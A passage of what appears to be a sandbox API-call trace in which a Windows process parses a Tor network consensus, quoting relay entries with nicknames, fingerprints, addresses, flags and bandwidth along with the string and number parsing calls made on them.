ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons" [0119.872] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.872] memchr (_Buf=0x3941314, _Val=10, _MaxCount=0x109) returned 0x3941362 [0119.873] strncmp (_Str1="m xieN5PK4Y", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.873] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.873] strncmp (_Str1="v Tor 0.2.4", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.873] strncmp (_Str1="pr Cons=1 D", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.873] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.873] htonl (hostlong=0x577674e3) returned 0xe3747657 [0119.873] htonl (hostlong=0xe3747657) returned 0x577674e3 [0119.873] _errno () returned 0x9f07d8 [0119.873] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.873] _errno () returned 0x9f07d8 [0119.873] _errno () returned 0x9f07d8 [0119.873] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.873] _errno () returned 0x9f07d8 [0119.873] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.873] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.873] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.873] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.873] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.873] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.873] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.873] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.873] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.873] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.873] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.873] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.873] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.873] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.873] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.873] strlen (_Str="Tor ") returned 0x4 [0119.873] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.873] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.873] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.873] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.873] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.873] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.873] strlen (_Str="(git-") returned 0x5 [0119.873] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.873] strlen (_Str="Tor ") returned 0x4 [0119.873] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.873] strlen (_Str="(r") returned 0x2 [0119.873] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.874] strlen (_Str="(git-") returned 0x5 [0119.874] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.874] strtol (in: _Str="0.2.4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.29") returned 0 [0119.874] strtol (in: _Str="2.4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.29") returned 2 [0119.874] strtol (in: _Str="4.29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".29") returned 4 [0119.874] strtol (in: _Str="29", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 29 [0119.874] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.874] strlen (_Str="(git-") returned 0x5 [0119.874] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.874] strlen (_Str="Bandwidth=") returned 0xa [0119.874] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.874] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.874] strstr (_Str="r UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=", _SubStr="\nr ") returned="\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 